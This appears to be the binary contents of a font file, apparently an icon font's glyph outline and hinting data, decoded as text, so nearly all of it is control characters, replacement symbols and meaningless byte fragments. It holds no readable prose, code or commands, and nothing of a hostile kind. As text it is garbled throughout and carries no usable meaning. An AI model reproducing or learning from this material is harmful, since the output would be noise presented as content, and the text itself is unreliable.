	1�����4{
	g		
�LLZ4
44

4�
`

`

`

`
e
'@		H
		

	
@�'FPYx@uMG
.*&B

jh
\[[OS	GQQ)(QYQYVTECB@;87541(F)F	''+"#"'&#";276232767&'&'&767&'2+"&#"+"'.7632326'6767+&76�
0		)
$##" 
0-
,
!
230-

0'@<852p0F

' @�'O@LB	jhO[TH''$"
	
+2+"&#"+"'.76323267+&76�)
$##" 
0-
,
!&'@<852p0Z ��1=Ua�@ /94:3S]X^W	BK�PX@Ch	^

h
][[[	

	O		
S
	
G@Ch		f

hi[[[	

	O		
S
	
GY@a`[ZPO+&4?62"'72?'&""/&47676276767'"/2"/&47676276767'"/2�������
���{y��{

{�
���{y��{{�
	RR	R�KKKK�
QQ

<;dK	;;	K	RR	;:cK	<<	K��'?5@2%=B[[OSG+&4?62"'"/&4767627676"/&4767627676������{y#��{y	RR	R
QQ

<;u	RR	;: �`1;B�@"
	"	)BA
@K�	PX@5	
	`^

	
[YMQE@7		hf

	
[YMQEY@=<42A?<B=B752;4;11'48!+'%#'32654/3'355'5+/+=+'+327654'2+5A�)���?#*%)?$�w%	!)��'(.5g��wɜ-%kbbT�\/S2*
|�9-,Y �`7@4B@[MQE!#!+'3#'32654/3'35+532@f���?#*%(@$�((/5fvʝ-%kccS,Y��,8@k@h
(&=973/"B[	[[
O
SG.-<;-8.8,)+2"&4%6&'"67&327&6767&'"&27&'&'767&p�pp�p:<86� 6-�@A8z(&T	<N�
K ,�B;(	�p�pp�%
5`9!%!F4d=-G#�
*% "@"+I#��%.9Eu@r" 68B>:1-(	Bhff
		f[		[OTH&&A?54&.&.&+2"&4264&"7&'67"'&'63264&'&'6'&=67#"'676p�pp�p~�^^�^�(,!
+]5<�($^@(L:		.#!9�p�pp��^�^^�K
 #X
"
(8o3  	3$*"-
�s!%)@)'%#!(+'7''5'7'75/737'7'77'qOrN4V5�NNrrNNrObbOq4U565U4ONrO4V4UsBG?*5.u?3'ED'4?GB;;B5,7,,8+P?GBB4*8
�s@
	(+'7?7'77'5qOrNNrOOrNqqNrOOP"rr"sBG?}>FBBF>J�?GB�BDD��1Q@N		[[
Y
YMQE10.-+)(&!%$!#+3##5#53546;#"7+=476;5#"+;3=3�@8S--*18"*-	(,3@��@+*+@V %
 #+ ����,@)k[MQE!#+3##5#53546;#"�@8S--*18"@��@+*+@����?FQ�Y@3���{ 
w
�oG%O
i7B	�D	BIAK�PX@M
`		_[[
[

[

[		O	S		GK�PX@L
`	k[[
[

[

[		O	S		G@M

h	k[[
[

[

[		O	S		GYY@'A@�����������vutrnm^]NL@FAF#&*"-%+2#"54654'>54'6'#"&"&+#"'&'"327+.54"'=7&'3276467654'&'&'&"&'&'#5&76;1&547&?2632631263236���VC.9
"6"
8.

DU�!
�(((R(( 
(		
%""\��_Kx+/<$  $</'wL_��		I:9E.&$ !#&.E9
!A& &i
3����?�@ %7BK�(PX@0`hf[OSG@1hhf[OSGY@#&*"-%	+2#"54654'>54'6'#"&"&+#"'&'"327+.54���VC.9
"6"
8.

DU��_Kx+/<$  $</'wL_��'7FR��BK�
PX@=	`
O

	
YY		[OSG@>		h
O

	
YY		[OSGY@&GGGRGRQPONMLKJIHEC><31,*)(''%!/+#"&54767&547"#"&5476;"&#"32654&'654&#"327%##5#5353�$+I>59(E'. ":j!D,2)$'
#
"NPPn&'!	
	&9*&
0'�$#w
 <
;DQQNN��)9IU`@]%$Bh	O
	
	
YY[OSGUTSRQPONMLKJ%!&/&*&+7#"&54767&547#"'&5476;#'327654'&#"4&'"&#"32673##5#5353�JA8<*6*#%9�<

k

	y&,$#�NN"PP"�(;.(!*!
z

��"QQ"N��E@B
BhfYMRF	+!!!3#5'3`��@ ���-@(B/(`��`���_xHHxT��+@(
BYMQE+!!?#'#3����@-&(/B(����xTTxH��"2>l@i!B



[[[	YOSG43$#:73>4=,)#2$1 ""+7#53'1"&54622#54#"#53672#!"&5463254#!"3w77
�#777~

��
=��@�

&%d^%
a��
��

A
��<����0g@d$	Bh		h[	Y
M
TH00.,('&%#!	+2#!"&54635#62654&"54&#"5#3547632a

��
V7#77�
��

A
�����

�d%&�a
%^��8LZu~��@�"?;.-#1
}Q
vo^O���B[[	[


[[[OSG:9����|zusigTREC9L:L420/##"'+%42"'42"%#"&547&54626737632#"&5'632'"32767654&67&#"6=&'&'.'&#"327654&#"#"'732@@�@@BtRSt(
7JVEL5
J��	
Q2	5MN5	25NMs
	u
/0
)(�   E	:PP9

&b&M&
���"1	%%	1"%�	n��+4<FR\e�@$	$#	'd.],
QPJI
BK�PX@P		`^



h

f[O[
[OTH@R		hf



h

f[O[
[OTHY@HGcaYXTSMKGRHRED@?<;%"33"(+%"&547&5463267376;2+"&/63267&#"$264&"2654&"27'#"&/62654&"7654&#"�u�t7JZCL1�a
O	

�a0
( 
e��	9QP9

&g&J#
)
�


�
}P


��#+4��BK�
PX@?`	
	
[[\[MQ
E@@h	
	
[[\[MQ
EY@4321/.+*('%$##+62"&4264&"'2#4&#&'.'&'2#4&#3.'!.!!.!(  i�P`P�D*%(Jb���P���W0ˏ}p!.!!.?  ؗiP`�)$*D/bJpៀ�LW}��0��/@,[[OQE+62"&452#4&#52#4&#!.!!.!i�P`P��P��p!.!!.��iP`�ៀ���$@��@�'"�
<	.
	5B

h	
	f	

	
f[[

[

\O\SG&%����zxnlXVPNFD8642*(%@&@ 
$$+"32?32654/7654'&#"'&'2632#"'#"&547&546#"'&'&547632327654'&'&'&'&'&54767632#"'&'&'&#"3j+
X?	+,+@

Lk>,Lk>�#'



"		


`+=X	+
=,+ iK,=jK,=��
		
	
	

			

��mW@T	B[O[	[		[SGkia_XVCA860."("$
+%#"'#"&547&54632632654&'&'&'&/&'&5463232654'&'&'&#"#"'&'&'.#"3276u>,Lk>,
LkY		
!

	
'#�,=jK,=iK?		
			
			
���#Gk@h9%$B		YY
Y[OSGEC;:3210/.(&##
+727#"'&'&'&=#567676733#5#"'&'&=35#5#33276�!"0>``B`` 

04A	�:+p@e&	
#

	(u p�	
���#C@@BjYOTH##+727#"'&'&'&=#567676733#�!"0>``4A	�:+p@e&	
��*l@6'	6%	H:3.)lk+
QU`	BAK�PX@U		h	fh

f`		[

[[

[OTH@V		h	fh

fh		[

[[

[OTHY@ca[YXWPNEC><;#"%+#"'327.'327.=3&547&5462676>7*#'6?#'&#"'&'&'#"'#332767676='��}PDC52	
!-+
Mz8R 
!!	
#"/=9&%$!
8"==
'-#!**=3.#Ri�,*%5#5_)8#
0!%+
"'!3..��*P@M)'%Bjhf[OTH#"%+#"'327.'327.=3&547&5462676��}PDC52	
!-+
Mz8R 
!Ri�,*%5#5_)8#��=�Y@Vkj6B	[		[[

[[OSG}{qodb*3($*(&*)+#"'&'&'&'&'&#"'767323276767654&'#"676326'&'&#";#"'&'&'.'&'&+>763232767676�
 2#" 

	R (&
"		
"#	


"
		

%!2N.3*-E !'7O	G&a
&+	
6|.)	*+

H%
X-$!E)�4@.?a-,+'&'&'&'&'&'767676767654&'&67>�
 2#" ,

	
R 	 (9"N.3*-E !&'7O	G&i&+	
6����S@P@

?Y	M	QE	
+%#7'5#7'5%37#537#5���� ������� ����� ��$�x������ٶ{�������0@-@?ja
	+%'5#'5%#5#5��������$����ٶ����
IUk@hPJ;: 	B

h

f[
	[OSGIIHGEBA@><9876410/.,+)(+2#"&4'674/3277654'&546;&#"2372##7/"&63372#67654'p�p	\@	Pp6,S�5!>
2B]3.

?&.
5I
'�pP
@\p�P2T� ��`7��: -M�qJ�*S,'!q��b�@�ML<BN	A

h

^		h
		ffffffiPSG[YVTSRPOKJIHFCBA?=30('%+7"#"'"&#7'23"&'.'&54%"?6=.#"'726&##'"33'726&#+67632�5		�]0?n9+'

>-		&?"9]#"2#��I��U5
%,'*
0OAq! :�Jq�	H
.@�#E@B#
B	@?[MSG!
+27&"5'2777#"'/+;=!
�
,
�
,
``
Xo	ZY	o|ի����ȸ�����@�,@)
B	@?ja
+27&"5'277!
�
,
�
,
``
|ի�����4TW?@<WVU*)
B[OSG85H@5T8P"40++"+"1;;1327;276=6514'=4&+&'22#+"'"&5&5474636;5			Ddh><jI_s7++I__I+*SW	1�`3653

3563 /"6656"//"65#H"0���c�@BOSG�U+#"'"&5&5474636;227'�+M�M+*Ia		aI+�ґ�+6j6"//"65#H"//�bc����	@@?a		+%'7'37��7��7��45�h�pp�h����@OSG
+2#!"543u�����j��*.=@:BO[[YSG-.+7&547&547&546762353#5&'.>5#"&54$"25I
7pp(
$g`  �		

 �*B
� �|*.=@:B[[O[QE-.+%'"&##5367654763224"h5I
7pp(
$g��  �		

 �*B
� `�!)-15S@P[	M
		Y
M
SG22..252543.1.10/-,238+3#+"./&/#53546;2#354+"3'#5#37#[	

�

	[e��[
^T
@ 	�
		

� �������>�00@-B[OSG! *' 0!/=1+#!"&?6?67>;22+"&/&63>��5g5!�;	

4
�
�	����'G@DBh[OSG!
	'&	+"&=46;546312#&'5&#1"!2#	

	V>>+
5((		

	 
	�	
E\.42
	�	
0�P8@5
BjjjMTH#'!$+%2+53'3#"&5467>32>32n"00"n0PP0f%5"!9"0C�1"#1PTTP6%/	%E1�p2�@BK�PX@+`[[	O	TH@,h[[	O	THY@ ,+('$#2 /#!#%7
+7'#!"=4;54&+53232264&"#64&";Oqq	��		���&4	mD_B#YX#A		7�	&0& ���
+@(
@?MQE+7'#537'64'7'64'77'64�_hh_8!"++0??:(X�X�&\&.l\9�9B�W�WO�( X
#@ 
@?MQE+7'#537'64'7�_hh_8!(X�X�(X(.l(rX
'@$
@?MQE+7'#537'64'7'64'7�_hh_8!"++0(X�X�(X(.l\9�9B�����3^@[&#321B	hh[YOSG0.%$" 

+?'#57#"/.54632654&'&'&#"#'327'5�//A�5?�]934?�]92!3) 6-IL$ 1)7-�3�3N�i>]�i>]���.51Q J#-60P M��@�$,@)# BjOTH$$'+#"&'&'&=67676?622654'�(5 ^B*G?');
J1�2N^-@Y% 
Tc.�~;)1G

 �`".E@BB,&#?`k[OTH&'+2'&"/7'&"/767312/7632d�Z

 
	E�E	
 

c
!	
(d(
	!
9K	QQ
4#
5`T
	 
	@@	
 	
L

 	##	 

3�
4



4����%--@*k[OQE2+>73&/##&=#&=#7#&76"&4620	.+
*-�+h

`�				�`

�   @`
5@2
	BMQE+?'3'77#7'#5?'53�@2�2@@2�2d@2�2@@2�2�@2�2@@@2�2@@2�2@@@2�2@�@	@@a		+=77'=�k��k^>@�=�p��kb>@�@	@@a		+%7''77 >^k��k�=@>bkˀp�=�@�@	@?a		+7''5�>^k��k�=@>bkˀp�=�@�@	@	?a+3''77 �=�k��k^@�=�p��kb����E@B
B@?jkMQE+%5#3'35#'735#7#35�`mL``Ll``lL``Ll�`Ll``lL``Ll``lL @`@	Bja+3'#5?��2	�2�2�@`�2	�2�2�@ �`/@,B@YOSG#3!+32#!"=4;5#'�������`@�0�@` �`/@,B@YOSG#3!+5#32#!"=4;5�������`@�0�@��
.@+
@
	
?ja+#57'537'3'77#7�R2�2RR2�2��R2�2RR2�2dR2�2R��R2�2RR2�2RdR2�2��
8@5B@?[OSG$#$!+54;55#"5%+'732���������x@``@�@``@����,<^@[	2)B		h		[[[
[

O

S
G:71//.# ,+2+3+"5754"2&24"72+"&54&'46343!";265P���e
&�&	#���
�H00P���&&3
0&������+6D`�����@>"{xt� �a��WMYA:7
5
Br�*AK�PX@�h  f  hhff
!
!h

`^(""hk[  Y
O[*&)$

O%#'!![N	[""O""S"GK�PX@�h  f  hhff
!
!h

`f(""hk[  Y
O[*&)$

O%#'!![N	[""O""S"G@�h  f  hhff
!
!h

hf(""hk[  Y
O[*&)$

O%#'!![N	[""O""S"GYY@`����-,��������������������������������~wupnkjge`_^]\[TSRQPNLJGFDB=;10,6-6%#!
++++2+#!"="&=&54626326326322=4"764'&#"3275##"'#"'"&#34237654&#"#&'&#"#"'.5&'&#""'&#"3=2767676327676323276546;254&+326$42242�&& �&4&8
#(		P�


		0D  ��� &`&P�6&&�00LH 	!
 	W
	"# 
		

�`����,@)?kOQE
	+2#5433'���`�88��0��`��!/W@T``	
	
[
YMSG
.-(%!
!2+753#!"=372#5##54;5>;2'54&+"35���P��� �xZ Z�����``��@�#'+/37;?CG�@� Y/!Y.+'"Y-*&

#Y)%	Y,($		M,($		S	GDD@@<<884400,,(($$  DGDGFE@C@CBA<?<?>=8;8;:9474765030321,/,/.-(+(+*)$'$'&% # #"!

0+2#!"5433535355#75#75#75#5#75#75#75#5#75#75#75#0��      @``     `       `      ���`��  @  @  `  @  @  @  �  @  @  @  �``�  @  PPP����GV8@3'$*&%TQ-,+FE<;7654



GD=:	
BK�PX@D`

		
`[Y
Y

[		O		T	HK�PX@E`

	
	h[Y
Y

[		O		T	H@Fh

	
	h[Y
Y

[		O		T	HYY@HHHVHVSRMKJICBA@?>+2"&467'767#53&''7.''7&'#5''3#775367'77##"&54753������X 
  
 ())( 
  
 ())()u
 ������� ())( 
  
 ())( 
  � 
DD	8�H&7HW@T!B=4Ahf
OY
S	GBA98!!%+%++'+/&1"5'&7625462762"/&4?62"&4?'&462+??#		#�pp__�__pp�??"v

v"xpp____pp8�H-P@M"B	jkOT
H'&

	
+642242242"/&4?62"&4?'&462�000�pp__�__pp�000000ppp____pp8�H!#@ 
BOSG+6"/&4?62"&4?'&462�pp__�__pp8pp____pp��=I?@<HDB0 @O\SG?>>I?I97'6&+%#"'&'+"'&'&546;.54673654.5467322654&'?%&

f)
e#'8	9L�-
$2C, 
$ 5� "	����".D@A)#	B[OSG""
+2"&547&54632667&#"64&"67>7�]����& 3�

pp�pp�6<6<�����]93 &@

��p�pp�p@�
4�	4 ``M@JMMMMQ
	E

	+=335335333@ @ @ @ @@����@������
(@%[OSG

+2"&464&#������0ppP��������p�p��������AWx
|	�p
m
�ki��[ZH�E�B���Q���63�����)B

�AK�PX@c
	
`	
	^

h
^ffffhfi

Y
OSGK�$PX@d
	
`	
	^

hfffffhfi

Y
OSGK�+PX@e
	
`	
	f

hfffffhfi

Y
OSG@f
	
	h	
	f

hfffffhfi

Y
OSGYYY@���͝�������zyvsbaUTPOLJ:9+&'&5'#5674'&$2"&4767>7>7>&546'4'.#&'&7>7>7>763226'&#.'&'&73>'&5&'.'&54323&'#&'&6'+"&"&76'"..76"'&?6&54'&'&'&76&'4&76'&'&6'3E	;�𺃃���-&
				
	 	

	

	'
!	 	'B
9��������
	!

		
		



5	5|/��@�	@OSG+2"&54ndnW�W��Z[dd[Z���6@3B[OYQE+73##5#535.5462&264&"�@@@@@*6KjK6kB//B/�D@@@@DE,5KK5,E!/B//B����!7@4BAhOSG! +67'&"1'54676'2+"543j
	c7I,c1+�
1=#�\Q��P�����.:@7'&#"BhMSG#"+#1"'&574'&54>7332757332=3N2%	
%		
	+)�
	
�)&-	u
uu
uk��@�;C@@8	,"Bh[SG7520;:+2+"=&+"56=4?4&'&'>7632327543:4
T	
(#	&!42		�T

8F*ej_F  3	����!*3<@9! .-*"32&%B[OSG+2"&4.'264&"&6767'7&'&'67'�������4'�P88P84=	j4'�4=	������&4=	�8P88P�4'=�&4=	m4'=��@�-u@,( 	B?K�PX@$^hkOTH@#jhkOTHY@--'-V+7!+"&54?675&54632>?632 ��
�, 	/(8��3	 ,&8(��F��(+7'''7'?67>?�5JI5hr	
rP
:	77	:
#5g�(�g5����?G<@9?=3210%$#"B[OSGEDA@;9+7"&5476746=4&=4?5?5657454/&=4?6=4'5/&=47632264&"�08P80		7�6(88(8Q>���@�@ja+2#1"&54674&5476>

 6��db$�A^�/?;@8?:72+(# BOSG+"5&47542"=&47542"=&47542"=&4742.  `  `  p  ]*��
 
�
"
UT(�S
$
��
$
S��$

$
�����b�@ 
	WVRQMLHG.-)($#BK�PX@'`^[PSGK�"PX@(h^[PSG@)hf[PSGYY@_]CA?>;:7642=+2+"'5.'54&'&54#"#"'&'#.+&5475654'5&5475654'5&=<6;KjK-Z-�

	

r�I3	
[77[
	3��
��#�@�[[[		[[
O

[
[
S

G   # #"!
	+4242642&"&46424242&42����`��* W0�@�P ���``�;**�  y007@@(PP����#/;GS_v@s		hh
h

h[\
OSG<<%$^]XWRQLK<G<GBA8721+($/%.#"+"&=4622"&=472+"&463#2+"&463%"&4?62"&4?6"/&462'"/&462.�`�`		D		�	D		C	�		D		�		C		 `�``r
		C		�
C		D	M		D		�		D		����s-@*EA>#BkOSGjhRP+%'&'&4'&'&'&'&+"#"76767676767676767465'&'&'&'&'&'&767676767632�$  #$(%$		%"'%& ! &$
#! 
�			"	!%
& 




	



""
,��)3=GQ[eoA@>[	[OSG
	
+%2+"43"+"4;2"=2"=&?6'&?6/&76'/&76&?6'&?6/&76'&76'pP�PPP    UEE�EE�((�((y((_((�E�E�    `PP PP�((B((1EE�EEiEE�EE
(l(���� `@] Bhh[YOSG
		+2#"&'3264&"#>7#53'7�]��]Gr"8�pp�8"r4��4[[����P@8p�p8@P��4 4[[���� M@JBhh[YOSG#"#"+%7#53'773#"&4632#'&#"32O4��4[[)a8]��]8a)8OPppPO|4 4[[-,4���4,8p�p����3:A:@7A@>=;:9764.-)&"!
	BkOSG.*+2+/&54756764&"#"'5&'&54&'767'i�i2	
CbC
	2m
*+�
+�m[@@9
A$7jEEj7$A/B<D[��7+17=+/3����>@;
Bj[OSG#+'"&46327'364&"�?E$g�ggI91E?��LLhLL?E19Igg�g$E?�pLhLLhL��%1�K�
PX@3	`
	

	^[Y

M

T
H@5		h
	
	
f[Y

M

T
HY@"&&&1&10/.-,+*)('"
+2#!"54;5>;2'3=4&+"5#5##335��Px--��--�@@@@@0�� �@@@@@@����@@?a+!�����@����"d@aB?
h[OS	G""
+642"427'65'"'632&.5�```� O!@P6;<5QQ!O4>�````0(&'�&@	��	@&�d>����5@2hYMTH%+74&546323#&'35#"zV�-)�@2NzVc�Vz ��2@�)?cVz����-A@>)BhfkOSG--4!$	+7+#'#"&547276?54/#&546;2#�$	QQ	$

\

�%
��	%
vv
����8@5

BYMSG+2"&467'57.'#'73������7b??bGGb??bG��������bGGb??bGGb??��`�
":��?K�PX@A	h`fffi

[OSG@B	hhfffi

[OSGY@:810"(+'&7632264&"264&"6264&"7#'&#""/&547632;��=NL�RR�
	DOLG	
MYX>��@
Z�`�			!����84@10" Bh[OSG-&+6"&=4627"&5467632264'&'&'&'&54632�[/6���6/	/^�^/	����b:]��]:b	/�^^�/	����"0@-
BhiOSGM+%/&'5'54?6;2$264&"�		�	�
1d��((�		��
b
1
�E((����;IM@J3B+! ?hhk[OSGIGB@95CA+%64'1/#&#'#"76;235/&'5'=4?6;2327654&#"��
Z
Z
�,l
�	,Z
�
��
�+m
�
X-	1
 �`8M3@0>=10@KJ%$?OSG+642&&'&47674&'7'6%&'&'&4767674'&'7'67���%%�%%�� � 
 ���Z40

&t&

d40

&t&

J(%"
'%T%'


:P%"
'&)*%'"�nq@n^9eda`mlihTQOL"BhfhiO[SGkj[ZGF$+	+"'&#&'&'&'&4?'&?.#"'.767676765'&?6/"7676'4'&?6762?�'7	$k2,1\!a	
2
!&$0)6
%'`374b"
]
*
0#-	2	

!%	9'	0*��@�L�����U@!{��yTZ=�`trBK�
PX@u
^
^h`f^
`]

Z[Y Y	N	RFK�PX@sj
jh`f^
hi

Z[Y Y	N	RFK�PX@tj
jhhf^
hi

Z[Y Y	N	RF@uj
jhhff
hi

Z[Y Y	N	RFYYY@A����MM��������������M�M������~|qonmlkjihgfeONKI1/-,*'!!!"2!+#+=#+32#+;3=;3=36767676'&'&/767676'&'&'&/57#5##5#7327676=4'&'&+535335#5#57"#� 	H
		
C	 .+
	#( )WW)    H

�000	�
0001		
??	

A@@@0�
0@@@vJJzZZv
	
	6	
	��@�59=ER|@y
?>-
3NBh
M
O	

YYMY
QE66PO=<;:696987('&%$#)!+$#5##5#732>=4'&'&+5353353'3535#76764'&654'&'&'2762#( )W		W) (
	�    H	


�&!
@@@@0�0@@@@	cJJ�ZvB		�	
R����JV@S41DHBh[[[	O	THJI$/$(-
+2"&464&"46?&5463232654&#"'&54632#"&'3������0pp�p8(1,1=.VJ>PC6��������p�pp�8
z!	"
E2&/?,	C5WM4CV4
����BE@B9
>Bh[[OSG($/$%#+2#"'6?32654&#"74676'&54632#"&7>54&#".54����]"'6CP>JV.	=1,2(<J����	 >VC4MW5C
,?/&2E
"	!	hnD]����Ve~@{T;,B>A	

	h
fhhk

[Y[OSGed^\QONMLKJG:;%#
+"1/"#.'"547>;%#"/.'+"=>?4676.'&5467;67263632654'&#"2'2&."�	

J
	M	/!*VM


:' +3=&23%	
"#/	,"	
:3.�%43%%34%! �`>�@,)"3210+*! BK�PX@0`k[O	
YSG@1hk[O	
YSGY@;:8765#+%"&46;&2#67#53&''7.''7&'#5''3##&548@a��$  ())(
  $�T�]2.,,)(
  
(),,.2]����#@ BOSG"+4&#"312765'4?>5�$%

	

	

 2NN2&�
		
�% ``M@JMMMMQ
	E

	+73#53353353`@�@�@ @ @��``��������J@G	B[Y	YMSG
+7"&547462#354"5#75#!/B/!(>p)!//!*22� @@����7C@@/B		jh[OSG65$%#%$%
+%#7.#"4&#"#"&542326=.#"4&#"5467542X�Wy0% 
yW ���Y -�&
� X���[_cgt@q?T32B		h	f

hh		[
[[OTHgfedcba`_^]\ZYDC>=97,++?"&=47654'&'&'&'&'&5462132=4'#5&54627>7675'&546224"624"24"�
:
*	
	&
'�  `  `  �\!("


	
�
	� 	
^ ` ` ���1AWbp@Qnjgc	_
BK�PX@>	`		^hfY[
O
THK�PX@?	`		fhfY[
O
TH@@		h		fhfY[
O
THYY@32poihb`[ZTSIH:92A3A)&.+7#'4767676=4.'&'&'&5476;2'2?676'#7"/&'&'&767354"32'654'&"2�	
-R`-�;'
�	v
B
��^	

^$3VW2$)B).>(c

*
(7����!@@a+'&"&47>'&76766'&�@
�
'�2&9
7��M$
�'
�<488
����	@x�@�ged^;:8

s,XLVPBa>Ahhhh[O	
[S
GBAvuon\[ZYONJIGEAxBx#"+"'&'62&'&?67&'"#"&46;76367&'&'"'&76>2#"'&#2'&7&'5>7>?67&76#2W	%l%	/��A'=+

$


	J

$

+='A	
A%%?O",�3 +/ !

o/+ 3�,"

! ����
@		?a+'?'7>}�[��	
-[-
	��Uu�[�	
-[-
	��U ��@�5=En@k) *
	B		h	
	
f

OYY

[OSGCB?>;:761/%$
+##5#53533"&5475&546267>367>&"264264&"@0@00@@@6&4&  &4& 

 �.p@00@00�"+	&&$�$&&$����p%������@�dk��Ԭ
F- B�jA

h

f
h[OO[	[OSG���������ɿ���������������vt[YXWVUEDCA@>=6!!29+%+"'56274%36+"'&'=%#&"#&#""&#"'"&#&"'4'&54&547676767"&"#"'&547676>767676327&6#"&"#%76276&'&'&"7&'&:>232>>'.'&"275&6262376�+
 
�	
 
+�
 
P6Q
 

	
,001/,
	
�V

0�0

(3N3((�
	#B#	
��(9

f0

07			

	a8	�		N

\
	����"3DGKt�"@*>;D&l~[ZE4-%
0	
	BK�PX@�hhfh``
	
	h		h	f[[\\

Y		O		T	HK�PX@�hhfh`h
	
	h		h	f[[\\

Y		O		T	H@�hhfhhh
	
	h		h	f[[\\

Y		O		T	HYY@GHH$#������|yvutqkjdcbaWTPOHKHKJIGFCA=</.#3$3 
+%53!537#"'&"'&'#.54632227'27654&'&'&"'&'&#"'353'#54'&+"'&7'&'&5463"2;2#4'&+"&7>'&#5232H��Z0r5?�]#!4?�]#!\7-� 1)		� 2)		6-�** (		
 6&	�0000�i>]�	i>]��� �-70PG-61Q �*000[
)"�����(+5%''7�ppP�P��S����@pp�aC����������o@l�����tkgA
@<54321JIH0/)Z RB6A�n@hfO[QEyw>=-+'&#!+!6'.7675'#"&/3326?''>./"'67676=&'.'&476?.7>7>7654&/66'&667>54&�			

��

 .'
			-1(.$��!6	M;
(



%

,	 	
	
	

"
	*A	�;-&#��~�_�.7?f�AN�
3�
�������	��������Z

O4a^*&u'		B��
\AK�.PX@t
	
`		f		h	^	f	f
	
f
	
f	fhhfi		[OSG@u

h		f		h	^	f	f
	
f
	
f	fhhfi		[OSGYA*88WUQP8?8><;6410������������}|qpKH0. +674'&#&'&'"&'.>'4&4&>32>76&6&7>767>76'4&546;26&/.'&"37&76476'&'7./&54'&'&'&'&76'".5&7627654&"&#"6'.7&'&767676'>372/&'&76'7676767>7626'&+72'&#>'.546'&##"'&7>��

#,
!
	

#%�


	
'	�	
		$	
	

	

	
f7�		

"[��
		

 
%!	"(
0
&H		
V		"*	

	





)




��		
	#	 @`%@"MYQE+%##5#53533@�*��*����*������g�BK�PX@$`iYMQE@%hiYMQEY@	75+#!"&54?63!27#5##'!'!�
��
!

�Q\Q =��\
��!
'

��..�Vk.@+B@?MQE+%!'7V��w��x�*x��x���K�PX@,^Z
	Y		M		S	G@+jZ
	Y		M		S	GY@
+%#57332#!"&546;5335!0`@0��0�H�а``� ��  ������0@-BjOSG+%2#"&546;276k		��	K	
	/0]/'u	K	ԗ		)$	/]0/	��G@D	h[[OTH

+64272#!"&546;73264&"�~y��X � �\BB\Bi~~���  ��B\BB\��D@A?h[OTH
	+2+5#"&=432+'#732=X�Z9
�9Z�'���	YY�?	�	YY'�+*U�	(+''7'77*wwwwwwww7wwwwwwww��	2@/BY[OQE+%!>722"&4267#->
��
>-"R`nMMnMe>2�n:&&:&MnMMn�#��	"5t@q%0
.	 	B

Y	Y
	
	[[OYQE###5#531-+(&""'+7!>72&2"&4267#&'67327'&'632#"'673267�!-	��	-!>JV??V?Q2(	�	�"
C�
2 9+??+(	h
;##;
�>X>>X}j(
L�;1>X>	 �`]�BK�	PX@ `YOSG@!hYOSGY�'4+%#!"&5467>32#7#5#�'6;)��2F>-G+6R�DddD@�9();F2.D%,EgddL �`EK�PX@^OTH@jOTHY@
5!+32#!"&=463�+���`0������71@.'

	BhOSG$# %+%#"&'5'45'&>65'&>235462?>?6�`-7)@:
"
*�g"0%�X������*��%@"BjMTH52+%#!"&5463!2!'���*��J*`J+*�`�`����'F@C	B		[Y[OQE%$
+2"&43##5.'#53>753264&"�B//B/!!`C*C`!!`C*C`�|WW|W/B//B*C`!!`C*C`!!`�W|WW|�p*@'BOSG	+2#!"&54635'���e���p��
[+uu+u��@�3@0Bh[OQE+6"&=46273#5.5326�8))8)4'P9.9P'HbH�(�((�#:WRRW:2BB����
8@5B[MQE

+!6'3462&"347'��zh=V=H@.����(_�`�+==+N.  ��UT�@�@MQE+=!@�**��>@;B?[OSG#&+%'5'#"&4632"264&"n!m(5;SS:;S"�R::R9�n!n"SvTT;5(9R::R���(+15-5*����++������;C6@30%7B[OSGA@=<,);+%/+"/&'/&?4&465'&?66?6;276264&"n/+6	U	6+-.+6	U	5+-�>,,>+�"G77	G	""G77	G	":*>**> �`@@?a+%5"675��Oi()�ȓX49�U��	�(+77'?�}!n�99�n!KK�`��`�����X@UB
Y[Y	O	SG	+7537"&4632764&"53�0�(p�ppPA5!xXX|XX�����5APpp�p(!��X|XX|Xf00��56@310%$?[[OSG+62"&4'654&".5462&2'>54&".54�""�#)1D1)#IhIӬz9/&-a�a-&/9�""!9$0"00"0$9!3II�yU8^$L-DaaD-K$^8U��)<n@k%40/$:;
BA@?h[[OTH+*9731*<+<&+('+#"''7&'>3277&546;7&#"2654'327#"'X/96':2*MGI@f:..M��3%5Z%52


"E/MGMFCN�	
26�6%3� AcU@R?
X@WP.+%#J/B@I?jj[OSG][US20*(5'+%#"'=4&+"'3276?#'.'&767676?%567676'&'&#"567632�
		P/?
	��
	
)+-
o>��\)
	

a--"	�
	�

��f
�*
%/;0 1	K5
+5FY�@�E*=S
Bh

h		[[[[

[OTHHG76-,VTJIGYHY<:6F7F21,5-5$#$#$"+#"&54632&2##"&/#"&46326323747"264&"327'.7>&"#'&'3264&�,:()C��
+F&�f	
�

	
� ))0N*O>(	 
p
 ����&5&@#4%BOSG,++7&5474'./6?%&62&&"'767>?_2-M.&9-2'
*3M��)8�8+
�+B�B,49�IF=JfC"

!CJ=FI.

2CI	''�48JJ66/%Vk-@*B@?MQE+=!'7'7w��x�*x��x����%)/w@t,*&"	B+Ahfff		f		f[
O
TH/-('! +2"&464&"#6#7''6323&54'3'7#"������0pp�pp8�fH!81N<�fH!�8��1N<��������p�pp�pVV>��*7�Z~��*7�V>Z~����3@0
@?MQE+%'''75'77��h8VV8h��m<VV<m�@
� �� �
@� �� ����� ,-8EZgtj@gomhf_-( BMAh	f[O
[SG!!^\YX54!,!,&+7"&54?632"'&/&62'7/1&761&54?66&767.7>'2#"'6?6767'&7>'6�%W1	@>
9�:<+1"�2,
	(+G< "
�
 
aY\
#B/7
B"4"##2$68�@?	+
	 `Zfjn~���@1�<:	@>

qouHxwFDB AK�
PX@�
`

^ff^		hf

f

fffh ^^^Y"![ZMQ#EK�PX@�
`

^fff		hf

f

fffh ^^^Y"![ZMQ#EK�PX@�
`

^fff		hf

f

fffh f^^Y"![ZMQ#EK�PX@�
`

ffff		hf

f

fffh ff^Y"![ZMQ#E@�

h

ffff		hf

f

fffh fffY"![ZMQ#EYYYY@O��kkgg[[��������}|{yknknmlgjgjih[f[fdc`_]\WVUTSRKJCA10/.-,&%#"$+!!7&47##27654'&'&'&'"'&"#5334'.'&#5#"23&'&'&5#33527>5"&5#346$42 42'"#52'>3.545!��!!a&�

�&a!!q�t@@�$�`� &t&&P;
			#
		P&&t&@@@@+�  �Fp��j@BK�PX@;
`
		^[[		\OQE@=
h
		f[[		\OQEY@omgeba^\NLIHEC#.#F+!!%4'&'&+"2767653#"'&'&'&5476767632#54&#"325'53#"'&'&'&5476767632#54&#"325��5$ff$58(�(8\5+

%4�5+
&4����,$66$,B66B(

*
(

*
����-BL@I(@!87	BhkOSG?=53,+ 
+2#"&=4?6'"/&546?63#"/5&=4632��
�
���.
���
	\�Y1a`R��\	
